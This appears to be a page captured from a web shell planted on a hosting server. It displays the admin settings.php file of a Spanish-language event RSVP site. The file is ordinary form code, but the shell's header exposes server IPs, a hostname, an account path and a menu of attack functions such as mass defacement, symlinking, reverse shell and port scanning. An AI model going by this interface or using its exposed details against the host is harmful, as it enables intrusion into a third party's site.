Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
eileen
/
admin
/
pages
/
Viewing: settings.php
<?php $db = getDB(); // Obtener todos los settings agrupados $settings = []; $rows = $db->query('SELECT * FROM site_settings ORDER BY setting_group, id')->fetchAll(); foreach ($rows as $r) { $settings[$r['setting_key']] = $r['setting_value']; } ?> <form id="settingsForm" onsubmit="saveSettings(event)"> <!-- General --> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-gear-six"></i> Configuración General</div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Título del Sitio</label> <input type="text" name="site_title" class="form-control" value="<?= htmlspecialchars($settings['site_title'] ?? '') ?>"> </div> <div class="form-group"> <label class="form-label">Monogram (Navbar)</label> <input type="text" name="monogram" class="form-control" value="<?= htmlspecialchars($settings['monogram'] ?? '') ?>"> </div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Número de WhatsApp</label> <input type="text" name="whatsapp_number" class="form-control" value="<?= htmlspecialchars($settings['whatsapp_number'] ?? '') ?>" placeholder="573001234567"> </div> <div class="form-group"> <label class="form-label">Footer - Marca</label> <input type="text" name="footer_brand" class="form-control" value="<?= htmlspecialchars($settings['footer_brand'] ?? '') ?>"> </div> </div> <div class="form-group"> <label class="form-label">Footer - URL</label> <input type="url" name="footer_link" class="form-control" value="<?= htmlspecialchars($settings['footer_link'] ?? '') ?>"> </div> </div> <!-- Overlay / Intro --> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-envelope-simple"></i> Overlay de Bienvenida</div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Título del Overlay</label> <input type="text" name="overlay_title" class="form-control" value="<?= htmlspecialchars($settings['overlay_title'] ?? '') ?>"> </div> <div class="form-group"> <label class="form-label">Subtítulo del Overlay</label> <input type="text" name="overlay_subtitle" class="form-control" value="<?= htmlspecialchars($settings['overlay_subtitle'] ?? '') ?>"> </div> </div> <div class="form-group"> <label class="form-label">Instrucción</label> <input type="text" name="overlay_instruction" class="form-control" value="<?= htmlspecialchars($settings['overlay_instruction'] ?? '') ?>"> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Texto Pre-Carta</label> <input type="text" name="overlay_letter_pre" class="form-control" value="<?= htmlspecialchars($settings['overlay_letter_pre'] ?? '') ?>"> </div> <div class="form-group"> <label class="form-label">Título de la Carta</label> <input type="text" name="overlay_letter_title" class="form-control" value="<?= htmlspecialchars($settings['overlay_letter_title'] ?? '') ?>"> </div> <div class="form-group"> <label class="form-label">Texto Post-Carta</label> <input type="text" name="overlay_letter_post" class="form-control" value="<?= htmlspecialchars($settings['overlay_letter_post'] ?? '') ?>"> </div> </div> <div class="form-group" style="margin-top:1rem; border-top:1px solid var(--admin-border); padding-top:1.5rem;"> <label class="form-label">Imagen Decorativa (Overlay & RSVP)</label> <div style="display:flex; gap:1.5rem; align-items:center; flex-wrap:wrap;"> <div style="width:120px; height:120px; border-radius:12px; background:var(--admin-surface); border:1px solid var(--admin-border); display:grid; place-items:center; overflow:hidden;"> <img id="overlayImgPreview" src="../<?= htmlspecialchars($settings['overlay_flowers_image'] ?? 'public/assets/images/flores.png') ?>" style="width:100%; height:100%; object-fit:contain;"> </div> <div style="flex:1; min-width:200px;"> <input type="file" name="overlay_flowers_image" class="form-control" accept="image/*" onchange="previewOverlayImg(this)"> <p style="font-size:0.75rem; color:var(--admin-text-muted); margin-top:0.5rem;"> <i class="ph-bold ph-info"></i> Esta imagen aparece al final del mensaje de bienvenida y en el encabezado del modal de confirmación. </p> </div> </div> </div> </div> <!-- Mensajes WhatsApp --> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-whatsapp-logo"></i> Plantillas de WhatsApp (RSVP)</div> </div> <p style="font-size:0.85rem; color:var(--text); opacity:0.8; margin-bottom: 1rem;"> Puedes usar estas variables mágicas: <b>[NOMBRE]</b>, <b>[CANTIDAD]</b>, <b>[CONFIRMACION]</b>, <b>[TITULO]</b> (nombre del evento). </p> <div class="form-row"> <div class="form-group"> <label class="form-label">Mensaje cuando SÍ asisten</label> <textarea name="whatsapp_msg_yes" class="form-control" rows="4"><?= htmlspecialchars($settings['whatsapp_msg_yes'] ?? '') ?></textarea> </div> <div class="form-group"> <label class="form-label">Mensaje cuando NO asisten</label> <textarea name="whatsapp_msg_no" class="form-control" rows="4"><?= htmlspecialchars($settings['whatsapp_msg_no'] ?? '') ?></textarea> </div> </div> </div> <!-- Colores Light --> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-sun"></i> Colores — Tema Claro</div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Fondo</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="color_bg" value="<?= htmlspecialchars($settings['color_bg'] ?? '#faf8f5') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['color_bg'] ?? '#faf8f5') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value" name="color_bg_text"> </div> </div> <div class="form-group"> <label class="form-label">Texto</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="color_text" value="<?= htmlspecialchars($settings['color_text'] ?? '#4a4a4a') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['color_text'] ?? '#4a4a4a') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value"> </div> </div> <div class="form-group"> <label class="form-label">Púrpura</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="color_purple" value="<?= htmlspecialchars($settings['color_purple'] ?? '#8b6b8e') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['color_purple'] ?? '#8b6b8e') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value"> </div> </div> <div class="form-group"> <label class="form-label">Dorado</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="color_gold" value="<?= htmlspecialchars($settings['color_gold'] ?? '#c5a880') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['color_gold'] ?? '#c5a880') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value"> </div> </div> </div> </div> <!-- Colores Dark --> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-moon"></i> Colores — Tema Oscuro</div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Fondo Dark</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="dark_bg" value="<?= htmlspecialchars($settings['dark_bg'] ?? '#1a151a') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['dark_bg'] ?? '#1a151a') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value"> </div> </div> <div class="form-group"> <label class="form-label">Texto Dark</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="dark_text" value="<?= htmlspecialchars($settings['dark_text'] ?? '#eaeaea') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['dark_text'] ?? '#eaeaea') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value"> </div> </div> <div class="form-group"> <label class="form-label">Púrpura Dark</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="dark_purple" value="<?= htmlspecialchars($settings['dark_purple'] ?? '#d0a9d3') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['dark_purple'] ?? '#d0a9d3') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value"> </div> </div> <div class="form-group"> <label class="form-label">Dorado Dark</label> <div style="display:flex;gap:.5rem;align-items:center;"> <input type="color" name="dark_gold" value="<?= htmlspecialchars($settings['dark_gold'] ?? '#e6cc80') ?>" onchange="this.nextElementSibling.value=this.value"> <input type="text" class="form-control" value="<?= htmlspecialchars($settings['dark_gold'] ?? '#e6cc80') ?>" style="max-width:130px;" onchange="this.previousElementSibling.value=this.value"> </div> </div> </div> </div> <button type="submit" class="btn btn-gold" style="width:100%;justify-content:center;padding:1rem;"> <i class="ph-bold ph-floppy-disk"></i> Guardar Toda la Configuración </button> </form> <script> async function saveSettings(e) { e.preventDefault(); const form = document.getElementById('settingsForm'); const formData = new FormData(form); // Recolectar solo los inputs con name (excluyendo los text duplicados de colores) const data = {}; const inputs = form.querySelectorAll('input[name], textarea[name], select[name]'); inputs.forEach(el => { if (el.type === 'file') { if (el.files && el.files[0]) { data[el.name] = el.files[0]; } } else if (el.name && !el.name.endsWith('_text') && el.type !== 'color') { data[el.name] = el.value; } else if (el.type === 'color') { data[el.name] = el.value; } }); await adminFetch('save_settings', data); } function previewOverlayImg(input) { if (input.files && input.files[0]) { const reader = new FileReader(); reader.onload = function(e) { document.getElementById('overlayImgPreview').src = e.target.result; } reader.readAsDataURL(input.files[0]); } } </script>
Coded With 💗 by
0x6ick